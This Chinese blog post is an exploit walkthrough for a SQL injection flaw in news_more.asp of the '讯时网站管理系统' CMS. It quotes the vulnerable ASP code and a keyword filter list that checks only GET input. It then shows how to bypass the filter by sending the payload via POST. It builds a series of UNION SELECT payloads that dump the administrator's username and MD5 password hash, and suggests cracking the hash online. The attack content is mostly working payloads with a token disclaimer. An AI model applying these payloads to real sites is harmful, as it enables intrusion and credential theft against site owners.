昨天研究一个网站时,发现它使用了“讯时网站管理系统”,具体版本不知道,但他的news_more.asp存在SQL注入漏洞,但由于我只找得到Access数据库版的,因此利用价值不大。在此分享出来。
首先列出产生漏洞的代码(news_more.asp):
lm2 =trim(request("lm2")) lm=trim(request("lm")) if lm2="" then lm2=lm if lm="" then lm=lm2 if lm2="" then lm2=0 tj=trim(chkhtm(request("tj"))) tcolor=trim(chkhtm(request("tcolor"))) lryname=trim(chkhtm(request("lryname"))) xsuser=trim(chkhtm(request("xsuser"))) if (not isNumeric(lm)) then lm=0 end if if tcolor="" then tcolor="999999" sql2 = "select * from lm where id="&lm2 Set rs2 = Server.CreateObject("ADODB.RecordSet") rs2.Open sql2,conn,1,1
在这里可以看到 lm2 变量接收了 lm2 参数的值,但仅进行了去除首尾空格的操作,就带入了SQL查询语句,因此产生了注入漏洞。
下面就可以构造注入语句了。我新建了一个WEB站点,漏洞利用页面为:http://localhost:8090/news_more.asp?lm2=70
从数据库可得知lm表有8个字段,因此先构造如下语句:lm2=70 and 1=2 union select 1,2,3,4,5,6,7,8 from lm。使用浏览器打开,发现空白一片。向前查看代码,发现它引用了 admin_conn.asp。打开 admin_conn.asp,发现存在一段GET参数的过滤代码:
CodePage=936 For each j in Request.QueryString sss= sss& j & Request.QueryString(j) Next For each j in Request.form 'sss= sss& j & Request.QueryString(j) Next sss=sss&LCase(request.servervariables("QUERY_STRING")) GuoLv="select,insert,;,update,',delete,exec,admin,count,drop,from,truncate,netlocalgroup,and,chr,master,declare,*,char,script" GuoLvA=split(GuoLv,",") for i=0 to ubound(GuoLvA) if instr(sss,GuoLvA(i))<>0 then ' Response.Redirect "res://shdoclc.dll/dnserror.htm" response.end end if next
可以看到,此代码进队GET的参数进行了过滤。虽然代码里有对POST参数进行过滤的代码,但却被屏蔽了。而Cookie根本没有检查,因此,我们可以使用Cookie注入或用POST进行参数提交。这里我选择了后者,因为我以前编写过一个专门用于POST访问网站的小程序。
用我编写的程序访问网站,得到的结果如图
IIS 提示另一个页面里的SQL语句存在错误,看来lm2参数被使用了多次。打开 titleb.asp,查看报错处的源代码:
set rs = Server.CreateObject("ADODB.RecordSet") rs.Open "select * from [lm] where id="&lm2&" and lm3<>'' order by id desc",conn,1,1
可以看到,如果把原先的注入语句带入此SQL语句,此SQL语句就变为了
select * from [lm] where id=70 and 1=2 union select 1,2,3,4,5,6,7,8 from lm and lm3<>” order by id desc
这里在第二个from后带有条件,却没有where,因此,我们可以手动加上一个条件 where lm.id=70
这样注入语句就变为了:lm2=70 and 1=2 union select 1,2,3,4,5,6,7,8 from lm where lm.id=70
再次提交,得到结果:
可以看到,页面“正常”显示了,其中的“245”即是注入语句中select语句中的2,3,4,5组合出的,也就是说注入语句中的第2、4、5字段是可以拿来利用的。
下面开始构造显示管理员密码的语句。
首先将注入语句中的lm表改为admin,再将第2字段改为admin.user,将第5字段改为admin.pass,把最后的lm.id=70改为admin.id=1,
得到 lm2=70 and 1=2 union select 1,admin.user,3,4,admin.pass,6,7,8 from admin where admin.id=1,提交:
发现出现了错误:至少一个参数没有被指定值。又是这个地方出错!!!,列出组合后的语句:
select * from [lm] where id=70 and 1=2 union select 1,admin.user,3,4,admin.pass,6,7,8 from admin where admin.id=1 and lm3<>” order by id desc
刚开始我没发现问题,后来才发现是lm3<>”产生了错误。原因是admin表中不包含lm3这个字段。我想了一个办法,就是在from语句后增加一个查询表,使之变为“from admin,lm”。这样处理后的注入语句变为了:
lm2=70 and 1=2 union select 1,admin.user,3,4,admin.pass,6,7,8 from admin,lm where admin.id=1
再次提交,得到的结果如下:
可以看到,成功地爆出了管理员的用户名和密码:admin 和 21232f297a57a5a743894a0e4a801fc3,密码是MD5加了密的,可以拿到www.cmd5.com 上去试试。而admin后面的第一个数字“4”即是注入语句中的“4”,这里要引起注意,不要看错了哦;当然,也可以把注入语句中的“4”改为“’ ‘”,这样再提交的话结果就会非常明显:
至此整个过程就结束了,但这里要提醒一下:
注入语句中的字段值是不能乱填的,我测试时时使用了已存在值,如果乱填或不知道,则可能出现如下错误:
模版设置不正确或已经被删除!模版代码不正确,没有找到“$$列表$$”,不知道应该显示在哪里?
这时应使用以下语句来获取第3(mb)、6(lmid)字段的值:
lm2=70 and 1=2 union select id,mb,mb,’ ‘,lmid,lmid,fontcolor,pic from lm where id=70
其中第一个lm2=70 和最后 id=70 必须对应,保证他们的值是一样的。
获取到值之后,将获取密码的注入语句的第1个字段的值改为lm2=后的数字,第3个字段改为获取的mb的值,第6个字段改为获取的lmid的值。如:若获取的mb=3,lmid=69,则注入语句改为:lm2=70 and 1=2 union select 70,admin.user,3,’ ‘,admin.pass,69,7,8 from admin,lm where admin.id=1
这样就能成功地获取用户名和密码了。
(注:请勿将此文章提到的方法用于非法用途)
开门,查水表!!
HACK !white hat? 哈啊哈!来看看!